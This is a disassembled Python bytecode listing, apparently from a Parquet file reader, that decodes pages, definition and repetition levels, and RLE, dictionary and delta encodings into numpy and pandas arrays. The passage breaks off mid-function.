MAKE_FUNCTION STORE_NAME read_row_group LOAD_CONST None RETURN_VALUE LOAD_FAST file_obj LOAD_METHOD read LOAD_FAST page_header LOAD_ATTR compressed_page_size CALL_METHOD STORE_FAST raw_bytes LOAD_GLOBAL decompress_data LOAD_FAST raw_bytes LOAD_FAST page_header LOAD_ATTR uncompressed_page_size LOAD_FAST column_metadata LOAD_ATTR codec CALL_FUNCTION STORE_FAST raw_bytes LOAD_FAST column_metadata LOAD_ATTR codec POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_FAST raw_bytes CALL_FUNCTION LOAD_FAST page_header LOAD_ATTR uncompressed_page_size COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST 'found {0} raw bytes (expected {1})' LOAD_METHOD format LOAD_GLOBAL len LOAD_FAST raw_bytes CALL_FUNCTION LOAD_FAST page_header LOAD_ATTR uncompressed_page_size CALL_METHOD CALL_FUNCTION RAISE_VARARGS LOAD_FAST raw_bytes RETURN_VALUE LOAD_FAST out JUMP_IF_TRUE_OR_POP LOAD_GLOBAL np LOAD_ATTR empty LOAD_FAST count LOAD_GLOBAL np LOAD_ATTR uint8 LOAD_CONST ('dtype',) CALL_FUNCTION STORE_FAST out LOAD_GLOBAL encoding LOAD_METHOD NumpyIO LOAD_FAST out CALL_METHOD STORE_FAST o LOAD_FAST coding LOAD_GLOBAL parquet_thrift LOAD_ATTR Encoding LOAD_ATTR RLE COMPARE_OP == POP_JUMP_IF_FALSE SETUP_LOOP to 94 LOAD_FAST o LOAD_METHOD tell CALL_METHOD LOAD_FAST count COMPARE_OP < POP_JUMP_IF_FALSE LOAD_GLOBAL encoding LOAD_ATTR read_rle_bit_packed_hybrid LOAD_FAST fobj LOAD_FAST bit_width LOAD_CONST 0 LOAD_FAST o LOAD_CONST 1 LOAD_CONST ('itemsize',) CALL_FUNCTION POP_TOP JUMP_ABSOLUTE POP_BLOCK JUMP_FORWARD to 94 LOAD_GLOBAL NotImplementedError LOAD_CONST 'Encoding %s' LOAD_FAST coding BINARY_MODULO CALL_FUNCTION RAISE_VARARGS LOAD_FAST out RETURN_VALUE LOAD_CONST None STORE_FAST definition_levels LOAD_CONST 0 STORE_FAST num_nulls LOAD_FAST helper LOAD_METHOD is_required LOAD_FAST metadata LOAD_ATTR path_in_schema CALL_METHOD POP_JUMP_IF_TRUE LOAD_FAST helper LOAD_METHOD max_definition_level LOAD_FAST metadata LOAD_ATTR path_in_schema CALL_METHOD STORE_FAST max_definition_level LOAD_GLOBAL encoding LOAD_METHOD width_from_max_int LOAD_FAST max_definition_level CALL_METHOD STORE_FAST bit_width LOAD_FAST bit_width POP_JUMP_IF_FALSE LOAD_GLOBAL read_data LOAD_FAST io_obj LOAD_GLOBAL parquet_thrift LOAD_ATTR Encoding LOAD_ATTR RLE LOAD_FAST daph LOAD_ATTR num_values LOAD_FAST bit_width LOAD_FAST out LOAD_CONST ('out',) CALL_FUNCTION STORE_FAST definition_levels LOAD_CONST False POP_JUMP_IF_FALSE LOAD_FAST daph LOAD_ATTR statistics LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL getattr LOAD_FAST daph LOAD_ATTR statistics LOAD_CONST 'null_count' LOAD_CONST None CALL_FUNCTION LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST daph LOAD_ATTR statistics LOAD_ATTR null_count STORE_FAST num_nulls JUMP_FORWARD to 180 LOAD_CONST False POP_JUMP_IF_FALSE LOAD_FAST daph LOAD_ATTR num_values LOAD_FAST metadata LOAD_ATTR num_values COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST metadata LOAD_ATTR statistics POP_JUMP_IF_FALSE LOAD_GLOBAL getattr LOAD_FAST metadata LOAD_ATTR statistics LOAD_CONST 'null_count' LOAD_CONST None CALL_FUNCTION LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST metadata LOAD_ATTR statistics LOAD_ATTR null_count STORE_FAST num_nulls JUMP_FORWARD to 180 LOAD_FAST daph LOAD_ATTR num_values LOAD_FAST definition_levels LOAD_FAST max_definition_level COMPARE_OP == LOAD_METHOD sum CALL_METHOD BINARY_SUBTRACT STORE_FAST num_nulls LOAD_FAST num_nulls LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST None STORE_FAST definition_levels LOAD_FAST definition_levels LOAD_FAST num_nulls BUILD_TUPLE RETURN_VALUE LOAD_CONST None STORE_FAST repetition_levels LOAD_GLOBAL len LOAD_FAST metadata LOAD_ATTR path_in_schema CALL_FUNCTION LOAD_CONST 1 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_FAST helper LOAD_METHOD max_repetition_level LOAD_FAST metadata LOAD_ATTR path_in_schema CALL_METHOD STORE_FAST max_repetition_level LOAD_FAST max_repetition_level LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST None STORE_FAST repetition_levels JUMP_FORWARD to 78 LOAD_GLOBAL encoding LOAD_METHOD width_from_max_int LOAD_FAST max_repetition_level CALL_METHOD STORE_FAST bit_width LOAD_GLOBAL read_data LOAD_FAST io_obj LOAD_GLOBAL parquet_thrift LOAD_ATTR Encoding LOAD_ATTR RLE LOAD_FAST daph LOAD_ATTR num_values LOAD_FAST bit_width LOAD_FAST out LOAD_CONST ('out',) CALL_FUNCTION STORE_FAST repetition_levels LOAD_FAST repetition_levels RETURN_VALUE LOAD_FAST header LOAD_ATTR data_page_header STORE_FAST daph LOAD_GLOBAL _read_page LOAD_FAST f LOAD_FAST header LOAD_FAST metadata CALL_FUNCTION STORE_FAST raw_bytes LOAD_GLOBAL encoding LOAD_METHOD NumpyIO LOAD_FAST raw_bytes CALL_METHOD STORE_FAST io_obj LOAD_GLOBAL read_rep LOAD_FAST io_obj LOAD_FAST daph LOAD_FAST helper LOAD_FAST metadata CALL_FUNCTION STORE_FAST repetition_levels LOAD_FAST skip_nulls POP_JUMP_IF_FALSE LOAD_FAST helper LOAD_METHOD is_required LOAD_FAST metadata LOAD_ATTR path_in_schema CALL_METHOD POP_JUMP_IF_TRUE LOAD_CONST 0 STORE_FAST num_nulls LOAD_CONST None STORE_FAST definition_levels LOAD_GLOBAL skip_definition_bytes LOAD_FAST io_obj LOAD_FAST daph LOAD_ATTR num_values CALL_FUNCTION POP_TOP JUMP_FORWARD to 98 LOAD_GLOBAL read_def LOAD_FAST io_obj LOAD_FAST daph LOAD_FAST helper LOAD_FAST metadata CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST definition_levels STORE_FAST num_nulls LOAD_FAST daph LOAD_ATTR num_values LOAD_FAST num_nulls BINARY_SUBTRACT STORE_FAST nval LOAD_FAST helper LOAD_METHOD schema_element LOAD_FAST metadata LOAD_ATTR path_in_schema CALL_METHOD STORE_FAST se LOAD_FAST daph LOAD_ATTR encoding LOAD_GLOBAL parquet_thrift LOAD_ATTR Encoding LOAD_ATTR PLAIN COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST se LOAD_ATTR type_length STORE_FAST width LOAD_GLOBAL read_plain LOAD_FAST io_obj LOAD_METHOD read CALL_METHOD LOAD_FAST metadata LOAD_ATTR type LOAD_GLOBAL int LOAD_FAST daph LOAD_ATTR num_values LOAD_FAST num_nulls BINARY_SUBTRACT CALL_FUNCTION LOAD_FAST width LOAD_FAST se LOAD_ATTR converted_type LOAD_CONST 0 COMPARE_OP == LOAD_CONST ('width', 'utf') CALL_FUNCTION STORE_FAST values EXTENDED_ARG JUMP_FORWARD to 654 LOAD_FAST daph LOAD_ATTR encoding LOAD_GLOBAL parquet_thrift LOAD_ATTR Encoding LOAD_ATTR PLAIN_DICTIONARY LOAD_GLOBAL parquet_thrift LOAD_ATTR Encoding LOAD_ATTR RLE_DICTIONARY LOAD_GLOBAL parquet_thrift LOAD_ATTR Encoding LOAD_ATTR RLE BUILD_LIST COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST metadata LOAD_ATTR type LOAD_GLOBAL parquet_thrift LOAD_ATTR Type LOAD_ATTR BOOLEAN COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 1 STORE_FAST bit_width JUMP_FORWARD to 266 LOAD_FAST daph LOAD_ATTR encoding LOAD_GLOBAL parquet_thrift LOAD_ATTR Encoding LOAD_ATTR RLE COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST se LOAD_ATTR type_length STORE_FAST bit_width JUMP_FORWARD to 266 LOAD_FAST io_obj LOAD_METHOD read_byte CALL_METHOD STORE_FAST bit_width LOAD_FAST bit_width LOAD_CONST (8, 16, 32) COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST selfmade EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL encoding LOAD_METHOD read_unsigned_var_int LOAD_FAST io_obj CALL_METHOD LOAD_CONST 1 BINARY_RSHIFT LOAD_CONST 8 BINARY_MULTIPLY STORE_FAST num LOAD_GLOBAL np LOAD_ATTR frombuffer LOAD_FAST io_obj LOAD_METHOD read LOAD_FAST num LOAD_FAST bit_width BINARY_MULTIPLY LOAD_CONST 8 BINARY_FLOOR_DIVIDE CALL_METHOD LOAD_CONST 'int%i' LOAD_FAST bit_width BINARY_MODULO LOAD_CONST ('dtype',) CALL_FUNCTION STORE_FAST values JUMP_FORWARD to 542 LOAD_FAST bit_width EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST bit_width LOAD_CONST 8 COMPARE_OP > EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_ATTR empty LOAD_FAST daph LOAD_ATTR num_values LOAD_FAST num_nulls BINARY_SUBTRACT LOAD_GLOBAL np LOAD_ATTR int32 LOAD_CONST ('dtype',) CALL_FUNCTION STORE_FAST values LOAD_GLOBAL encoding LOAD_METHOD NumpyIO LOAD_FAST values LOAD_METHOD view LOAD_CONST 'uint8' CALL_METHOD CALL_METHOD STORE_FAST o LOAD_GLOBAL encoding LOAD_ATTR read_rle_bit_packed_hybrid LOAD_FAST io_obj LOAD_FAST bit_width LOAD_FAST io_obj LOAD_ATTR len LOAD_FAST io_obj LOAD_METHOD tell CALL_METHOD BINARY_SUBTRACT LOAD_FAST o LOAD_CONST 4 LOAD_CONST ('o', 'itemsize') CALL_FUNCTION POP_TOP JUMP_FORWARD to 482 LOAD_GLOBAL np LOAD_ATTR empty LOAD_FAST daph LOAD_ATTR num_values LOAD_FAST num_nulls BINARY_SUBTRACT LOAD_GLOBAL np LOAD_ATTR uint8 LOAD_CONST ('dtype',) CALL_FUNCTION STORE_FAST values LOAD_GLOBAL encoding LOAD_METHOD NumpyIO LOAD_FAST values CALL_METHOD STORE_FAST o LOAD_GLOBAL encoding LOAD_ATTR read_rle_bit_packed_hybrid LOAD_FAST io_obj LOAD_FAST bit_width LOAD_FAST io_obj LOAD_ATTR len LOAD_FAST io_obj LOAD_METHOD tell CALL_METHOD BINARY_SUBTRACT LOAD_FAST o LOAD_CONST 1 LOAD_CONST ('o', 'itemsize') CALL_FUNCTION POP_TOP LOAD_GLOBAL isinstance LOAD_FAST values LOAD_GLOBAL np LOAD_ATTR ndarray CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST values LOAD_CONST None LOAD_FAST nval BUILD_SLICE BINARY_SUBSCR STORE_FAST values JUMP_FORWARD to 524 LOAD_FAST values LOAD_ATTR data LOAD_CONST None LOAD_FAST nval BUILD_SLICE BINARY_SUBSCR STORE_FAST values JUMP_FORWARD to 542 LOAD_GLOBAL np LOAD_ATTR zeros LOAD_FAST nval LOAD_GLOBAL np LOAD_ATTR int8 LOAD_CONST ('dtype',) CALL_FUNCTION STORE_FAST values JUMP_FORWARD to 654 LOAD_FAST daph LOAD_ATTR encoding LOAD_GLOBAL parquet_thrift LOAD_ATTR Encoding LOAD_ATTR DELTA_BINARY_PACKED COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_ATTR empty LOAD_FAST daph LOAD_ATTR num_values LOAD_FAST num_nulls BINARY_SUBTRACT LOAD_FAST metadata LOAD_ATTR type LOAD_CONST 2 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_ATTR int64 JUMP_FORWARD to 594 LOAD_GLOBAL np LOAD_ATTR int32 LOAD_CONST ('dtype',) CALL_FUNCTION STORE_FAST values LOAD_GLOBAL encoding LOAD_METHOD NumpyIO LOAD_FAST values LOAD_METHOD view LOAD_CONST 'uint8' CALL_METHOD CALL_METHOD STORE_FAST o LOAD_GLOBAL encoding LOAD_ATTR delta_binary_unpack LOAD_FAST io_obj LOAD_FAST o LOAD_FAST metadata LOAD_ATTR type LOAD_CONST 2 COMPARE_OP == LOAD_CONST ('longval',) CALL_FUNCTION POP_TOP JUMP_FORWARD to 654 LOAD_GLOBAL NotImplementedError LOAD_CONST 'Encoding %s' LOAD_FAST daph LOAD_ATTR encoding BINARY_MODULO CALL_FUNCTION RAISE_VARARGS LOAD_FAST definition_levels LOAD_FAST repetition_levels LOAD_FAST values LOAD_CONST None LOAD_FAST nval BUILD_SLICE BINARY_SUBSCR BUILD_TUPLE RETURN_VALUE LOAD_FAST io_obj LOAD_METHOD seek LOAD_CONST 6 LOAD_CONST 1 CALL_METHOD POP_TOP LOAD_FAST num LOAD_CONST 64 BINARY_FLOOR_DIVIDE STORE_FAST n SETUP_LOOP to 50 LOAD_FAST n POP_JUMP_IF_FALSE LOAD_FAST io_obj LOAD_METHOD seek LOAD_CONST 1 LOAD_CONST 1 CALL_METHOD POP_TOP LOAD_FAST n LOAD_CONST 128 INPLACE_FLOOR_DIVIDE STORE_FAST n JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_GLOBAL _read_page LOAD_FAST file_obj LOAD_FAST page_header LOAD_FAST column_metadata CALL_FUNCTION STORE_FAST raw_bytes LOAD_FAST column_metadata LOAD_ATTR type LOAD_GLOBAL parquet_thrift LOAD_ATTR Type LOAD_ATTR BYTE_ARRAY COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL unpack_byte_array LOAD_FAST raw_bytes LOAD_FAST page_header LOAD_ATTR dictionary_page_header LOAD_ATTR num_values LOAD_FAST utf LOAD_CONST ('utf',) CALL_FUNCTION STORE_FAST values JUMP_FORWARD to 80 LOAD_FAST schema_helper LOAD_METHOD schema_element LOAD_FAST column_metadata LOAD_ATTR path_in_schema CALL_METHOD LOAD_ATTR type_length STORE_FAST width LOAD_GLOBAL read_plain LOAD_FAST raw_bytes LOAD_FAST column_metadata LOAD_ATTR type LOAD_FAST page_header LOAD_ATTR dictionary_page_header LOAD_ATTR num_values LOAD_FAST width CALL_FUNCTION STORE_FAST values LOAD_FAST values RETURN_VALUE LOAD_FAST data_header2 LOAD_ATTR encoding LOAD_GLOBAL parquet_thrift LOAD_ATTR Encoding LOAD_ATTR PLAIN_DICTIONARY LOAD_GLOBAL parquet_thrift LOAD_ATTR Encoding LOAD_ATTR RLE_DICTIONARY LOAD_GLOBAL parquet_thrift LOAD_ATTR Encoding LOAD_ATTR RLE LOAD_GLOBAL parquet_thrift LOAD_ATTR Encoding LOAD_ATTR PLAIN LOAD_GLOBAL parquet_thrift LOAD_ATTR Encoding LOAD_ATTR DELTA_BINARY_PACKED BUILD_LIST COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_GLOBAL NotImplementedError RAISE_VARARGS LOAD_FAST ph LOAD_ATTR compressed_page_size LOAD_FAST data_header2 LOAD_ATTR repetition_levels_byte_length BINARY_SUBTRACT LOAD_FAST data_header2 LOAD_ATTR definition_levels_byte_length BINARY_SUBTRACT STORE_FAST size LOAD_FAST infile LOAD_METHOD tell CALL_METHOD LOAD_FAST data_header2 LOAD_ATTR definition_levels_byte_length BINARY_ADD LOAD_FAST data_header2 LOAD_ATTR repetition_levels_byte_length BINARY_ADD STORE_FAST data LOAD_FAST data_header2 LOAD_ATTR num_values LOAD_FAST data_header2 LOAD_ATTR num_nulls BINARY_SUBTRACT STORE_FAST n_values LOAD_FAST schema_helper LOAD_METHOD max_repetition_level LOAD_FAST cmd LOAD_ATTR path_in_schema CALL_METHOD STORE_FAST max_rep LOAD_FAST max_rep POP_JUMP_IF_FALSE LOAD_GLOBAL encoding LOAD_METHOD width_from_max_int LOAD_FAST max_rep CALL_METHOD STORE_FAST bit_width LOAD_GLOBAL encoding LOAD_METHOD NumpyIO LOAD_FAST infile LOAD_METHOD read LOAD_FAST data_header2 LOAD_ATTR repetition_levels_byte_length CALL_METHOD CALL_METHOD STORE_FAST io_obj LOAD_GLOBAL np LOAD_ATTR empty LOAD_FAST data_header2 LOAD_ATTR num_values LOAD_CONST 'uint8' LOAD_CONST ('dtype',) CALL_FUNCTION STORE_FAST repi LOAD_GLOBAL encoding LOAD_ATTR read_rle_bit_packed_hybrid LOAD_FAST io_obj LOAD_FAST bit_width LOAD_FAST data_header2 LOAD_ATTR num_values LOAD_GLOBAL encoding LOAD_METHOD NumpyIO LOAD_FAST repi CALL_METHOD LOAD_CONST 1 LOAD_CONST ('itemsize',) CALL_FUNCTION POP_TOP LOAD_FAST schema_helper LOAD_METHOD max_definition_level LOAD_FAST cmd LOAD_ATTR path_in_schema CALL_METHOD STORE_FAST max_def LOAD_GLOBAL isinstance LOAD_FAST assign LOAD_ATTR dtype LOAD_GLOBAL pd LOAD_ATTR core LOAD_ATTR arrays LOAD_ATTR masked LOAD_ATTR BaseMaskedDtype CALL_FUNCTION STORE_FAST nullable LOAD_FAST max_def EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST data_header2 LOAD_ATTR num_nulls EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL encoding LOAD_METHOD width_from_max_int LOAD_FAST max_def CALL_METHOD STORE_FAST bit_width LOAD_GLOBAL encoding LOAD_METHOD NumpyIO LOAD_FAST infile LOAD_METHOD read LOAD_FAST data_header2 LOAD_ATTR definition_levels_byte_length CALL_METHOD CALL_METHOD STORE_FAST io_obj LOAD_FAST nullable EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST assign LOAD_ATTR _mask STORE_FAST defi JUMP_FORWARD to 288 LOAD_GLOBAL np LOAD_ATTR empty LOAD_FAST data_header2 LOAD_ATTR num_values LOAD_GLOBAL np LOAD_ATTR uint8 LOAD_CONST ('dtype',) CALL_FUNCTION STORE_FAST defi LOAD_GLOBAL encoding LOAD_ATTR read_rle_bit_packed_hybrid LOAD_FAST io_obj LOAD_FAST bit_width LOAD_FAST data_header2 LOAD_ATTR num_values LOAD_GLOBAL encoding LOAD_METHOD NumpyIO LOAD_FAST defi CALL_METHOD LOAD_CONST 1 LOAD_CONST ('itemsize',) CALL_FUNCTION POP_TOP LOAD_FAST max_rep EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST defi LOAD_FAST max_def COMPARE_OP != STORE_FAST nulls JUMP_FORWARD to 366 LOAD_GLOBAL np LOAD_ATTR not_equal LOAD_FAST defi LOAD_METHOD view LOAD_CONST 'uint8' CALL_METHOD LOAD_FAST max_def LOAD_FAST defi LOAD_CONST ('out',) CALL_FUNCTION POP_TOP LOAD_FAST defi LOAD_METHOD view LOAD_GLOBAL np LOAD_ATTR bool_ CALL_METHOD STORE_FAST nulls LOAD_FAST infile LOAD_METHOD seek LOAD_FAST data CALL_METHOD POP_TOP LOAD_FAST se LOAD_ATTR type_length LOAD_FAST assign LOAD_ATTR dtype LOAD_ATTR itemsize LOAD_CONST 8 BINARY_MULTIPLY COMPARE_OP == EXTENDED_ARG JUMP_IF_TRUE_OR_POP LOAD_GLOBAL simple LOAD_METHOD get LOAD_FAST se LOAD_ATTR type CALL_METHOD LOAD_ATTR itemsize LOAD_FAST assign LOAD_ATTR dtype LOAD_ATTR itemsize COMPARE_OP == STORE_FAST see LOAD_FAST use_cat EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL converts_inplace LOAD_FAST se CALL_FUNCTION EXTENDED_ARG JUMP_IF_FALSE_OR_POP LOAD_FAST see EXTENDED_ARG JUMP_IF_FALSE_OR_POP LOAD_FAST data_header2 LOAD_ATTR num_nulls LOAD_CONST 0 COMPARE_OP == EXTENDED_ARG JUMP_IF_FALSE_OR_POP LOAD_FAST max_rep LOAD_CONST 0 COMPARE_OP == EXTENDED_ARG JUMP_IF_FALSE_OR_POP LOAD_FAST assign LOAD_ATTR dtype LOAD_ATTR kind LOAD_CONST 'O' COMPARE_OP != EXTENDED_ARG JUMP_IF_FALSE_OR_POP LOAD_FAST row_filter LOAD_CONST None COMPARE_OP is EXTENDED_ARG JUMP_IF_FALSE_OR_POP LOAD_FAST assign LOAD_ATTR dtype LOAD_ATTR kind LOAD_CONST 'Mm' COMPARE_OP not in STORE_FAST into0 LOAD_FAST row_filter LOAD_CONST None COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL Ellipsis STORE_FAST row_filter LOAD_FAST data_header2 LOAD_ATTR is_compressed LOAD_CONST None COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST True LOAD_FAST data_header2 STORE_ATTR is_compressed LOAD_FAST data_header2 LOAD_ATTR is_compressed EXTENDED_ARG JUMP_IF_FALSE_OR_POP LOAD_GLOBAL rev_map LOAD_FAST cmd LOAD_ATTR codec BINARY_SUBSCR LOAD_GLOBAL decom_into COMPARE_OP in EXTENDED_ARG JUMP_IF_FALSE_OR_POP LOAD_FAST into0 STORE_FAST into LOAD_FAST nullable EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST assign LOAD_ATTR _data STORE_FAST assign LOAD_FAST ph LOAD_ATTR uncompressed_page_size LOAD_FAST data_header2 LOAD_ATTR definition_levels_byte_length BINARY_SUBTRACT LOAD_FAST data_header2 LOAD_ATTR repetition_levels_byte_length BINARY_SUBTRACT STORE_FAST uncompressed_page_size LOAD_FAST into0 EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST data_header2 LOAD_ATTR encoding LOAD_GLOBAL parquet_thrift LOAD_ATTR Encoding LOAD_ATTR PLAIN COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST data_header2 LOAD_ATTR is_compressed EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST cmd LOAD_ATTR codec LOAD_GLOBAL parquet_thrift LOAD_ATTR CompressionCodec LOAD_ATTR UNCOMPRESSED COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST infile LOAD_METHOD read LOAD_FAST size CALL_METHOD LOAD_FAST assign LOAD_FAST num LOAD_FAST num LOAD_FAST n_values BINARY_ADD BUILD_SLICE BINARY_SUBSCR LOAD_METHOD view LOAD_CONST 'uint8' CALL_METHOD LOAD_CONST None LOAD_CONST None BUILD_SLICE STORE_SUBSCR LOAD_GLOBAL convert LOAD_FAST assign LOAD_FAST num LOAD_FAST num LOAD_FAST n_values BINARY_ADD BUILD_SLICE BINARY_SUBSCR LOAD_FAST se CALL_FUNCTION POP_TOP EXTENDED_ARG JUMP_FORWARD to 2240 LOAD_FAST into EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST data_header2 LOAD_ATTR encoding LOAD_GLOBAL parquet_thrift LOAD_ATTR Encoding LOAD_ATTR PLAIN COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL decom_into LOAD_GLOBAL rev_map LOAD_FAST cmd LOAD_ATTR codec BINARY_SUBSCR BINARY_SUBSCR STORE_FAST decomp LOAD_FAST decomp LOAD_GLOBAL np LOAD_ATTR frombuffer LOAD_FAST infile LOAD_METHOD read LOAD_FAST size CALL_METHOD LOAD_CONST 'uint8' LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_FAST assign LOAD_FAST num LOAD_FAST num LOAD_FAST data_header2 LOAD_ATTR num_values BINARY_ADD BUILD_SLICE BINARY_SUBSCR LOAD_METHOD view LOAD_CONST 'uint8' CALL_METHOD CALL_FUNCTION POP_TOP LOAD_GLOBAL convert LOAD_FAST assign LOAD_FAST num LOAD_FAST num LOAD_FAST n_values BINARY_ADD BUILD_SLICE BINARY_SUBSCR LOAD_FAST se CALL_FUNCTION POP_TOP EXTENDED_ARG JUMP_FORWARD to 2240 LOAD_FAST data_header2 LOAD_ATTR encoding LOAD_GLOBAL parquet_thrift LOAD_ATTR Encoding LOAD_ATTR PLAIN COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST data_header2 LOAD_ATTR is_compressed EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST cmd LOAD_ATTR codec JUMP_FORWARD to 836 LOAD_CONST 'UNCOMPRESSED' STORE_FAST codec LOAD_GLOBAL decompress_data LOAD_GLOBAL np LOAD_METHOD frombuffer LOAD_FAST infile LOAD_METHOD read LOAD_FAST size CALL_METHOD LOAD_CONST 'uint8' CALL_METHOD LOAD_FAST uncompressed_page_size LOAD_FAST codec CALL_FUNCTION STORE_FAST raw_bytes LOAD_GLOBAL read_plain LOAD_FAST raw_bytes LOAD_FAST cmd LOAD_ATTR type LOAD_FAST n_values LOAD_FAST se LOAD_ATTR type_length LOAD_FAST se LOAD_ATTR converted_type LOAD_CONST 0 COMPARE_OP == LOAD_CONST ('width', 'utf') CALL_FUNCTION STORE_FAST values LOAD_FAST data_header2 LOAD_ATTR num_nulls EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST nullable EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL convert LOAD_FAST values LOAD_FAST se CALL_FUNCTION LOAD_FAST row_filter BINARY_SUBSCR LOAD_FAST assign LOAD_FAST num LOAD_FAST num LOAD_FAST data_header2 LOAD_ATTR num_values BINARY_ADD BUILD_SLICE BINARY_SUBSCR LOAD_FAST nulls LOAD_FAST row_filter BINARY_SUBSCR UNARY_INVERT STORE_SUBSCR JUMP_FORWARD to 1058 LOAD_CONST None LOAD_FAST assign LOAD_FAST num LOAD_FAST num LOAD_FAST data_header2 LOAD_ATTR num_values BINARY_ADD BUILD_SLICE BINARY_SUBSCR LOAD_FAST nulls LOAD_FAST row_filter BINARY_SUBSCR STORE_SUBSCR LOAD_FAST row_filter LOAD_GLOBAL Ellipsis COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL convert LOAD_FAST values LOAD_FAST se CALL_FUNCTION LOAD_FAST assign LOAD_FAST num LOAD_FAST num LOAD_FAST data_header2 LOAD_ATTR num_values BINARY_ADD BUILD_SLICE BINARY_SUBSCR LOAD_FAST nulls UNARY_INVERT STORE_SUBSCR JUMP_FORWARD to 1058 LOAD_GLOBAL convert LOAD_FAST values LOAD_FAST se CALL_FUNCTION LOAD_FAST row_filter LOAD_FAST nulls UNARY_INVERT BINARY_SUBSCR BINARY_SUBSCR LOAD_FAST assign LOAD_FAST num LOAD_FAST num LOAD_FAST data_header2 LOAD_ATTR num_values BINARY_ADD BUILD_SLICE BINARY_SUBSCR LOAD_FAST nulls LOAD_FAST row_filter BINARY_SUBSCR UNARY_INVERT STORE_SUBSCR JUMP_FORWARD to 1088 LOAD_GLOBAL convert LOAD_FAST values LOAD_FAST se CALL_FUNCTION LOAD_FAST row_filter BINARY_SUBSCR LOAD_FAST assign LOAD_FAST num LOAD_FAST num LOAD_FAST data_header2 LOAD_ATTR num_values BINARY_ADD BUILD_SLICE STORE_SUBSCR EXTENDED_ARG JUMP_FORWARD to 2240 LOAD_FAST use_cat EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST data_header2 LOAD_ATTR encoding LOAD_GLOBAL parquet_thrift LOAD_ATTR Encoding LOAD_ATTR PLAIN_DICTIONARY LOAD_GLOBAL parquet_thrift LOAD_ATTR Encoding LOAD_ATTR RLE_DICTIONARY BUILD_LIST COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST data_header2 LOAD_ATTR encoding LOAD_GLOBAL parquet_thrift LOAD_ATTR Encoding LOAD_ATTR RLE COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST data_header2 LOAD_ATTR is_compressed EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST cmd LOAD_ATTR codec JUMP_FORWARD to 1154 LOAD_CONST 'UNCOMPRESSED' STORE_FAST codec LOAD_GLOBAL np LOAD_ATTR frombuffer LOAD_FAST infile LOAD_METHOD read LOAD_FAST size CALL_METHOD LOAD_CONST 'uint8' LOAD_CONST ('dtype',) CALL_FUNCTION STORE_FAST raw_bytes LOAD_GLOBAL decompress_data LOAD_FAST raw_bytes LOAD_FAST uncompressed_page_size LOAD_FAST codec CALL_FUNCTION STORE_FAST raw_bytes LOAD_GLOBAL encoding LOAD_METHOD NumpyIO LOAD_FAST raw_bytes CALL_METHOD STORE_FAST pagefile LOAD_FAST data_header2 LOAD_ATTR encoding LOAD_GLOBAL parquet_thrift LOAD_ATTR Encoding LOAD_ATTR RLE COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST pagefile LOAD_METHOD read_byte CALL_METHOD STORE_FAST bit_width LOAD_GLOBAL encoding LOAD_METHOD read_unsigned_var_int LOAD_FAST pagefile CALL_METHOD POP_TOP JUMP_FORWARD to 1250 LOAD_CONST 1 STORE_FAST bit_width LOAD_FAST pagefile LOAD_METHOD seek LOAD_CONST 4 LOAD_CONST 1 CALL_METHOD POP_TOP LOAD_FAST bit_width LOAD_CONST (8, 16, 32) COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST selfmade EXTENDED_ARG POP_JUMP_IF_FALSE 